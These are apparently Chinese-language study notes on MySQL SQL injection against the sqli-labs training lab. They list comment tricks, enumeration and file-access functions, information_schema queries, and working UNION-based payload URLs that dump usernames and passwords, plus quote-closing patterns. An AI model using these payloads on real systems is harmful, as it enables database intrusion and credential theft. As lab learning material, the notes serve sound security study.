注释 单行注释
# %23
--+  --加空格
多行注释
/**/

SELECT(VERSION())

SELECT(USER())

SELECT(database())  查数据库

SELECT(@@datadir)   查数据库路径

SELECT(@@version_compile_os)  查系统版本
version()  数据库版本
load_file() 读文件操作
current_user() 当前用户名（可用来查看权限
Into outfile() / into dumpfile     写文件

show DATABASES

use  security

show tables

select username,password from users

use information_schema

show tables

desc tables

select SCHEMA_name from information_schema.schemata    查所有的数据库

select table_name from information_schema.tables where table_schema = "security"   查表

select column_name from information_schema.COLUMNS where table_name = "users"      查列

select username,password from SECURITY.users where id =10       查列的内容        

http://10.1.2.5:10631/sqli/Less-2/?id=-1 union select 1,user(),version()

http://10.1.2.5:10631/sqli/Less-2/?id=-1 union select 1,database(),group_concat(schema_name) from information_schema.schemata

http://10.1.2.5:10631/sqli/Less-2/?id=-1 union select 1,database(),group_concat(table_name) from information_schema.tables where table_schema='security'

http://10.1.2.5:10631/sqli/Less-2/?id=-1 union select 1,database(),group_concat(column_name) from information_schema.columns where table_name='users'

http://10.1.2.5:10631/sqli/Less-2/?id=-1 union select 1,database(),group_concat(id,'--',username,'--',password) from users

http://10.1.2.5:10631/sqli/Less-2/?id=2 union select 1,version(),3 order by 2  

数字型                              闭合方法

字符型 'id'                         ' and 1=1--+

"id"                               " and 1=1--+

("id")                             ") and 1=1--+

('id')                             ') and 1=1--+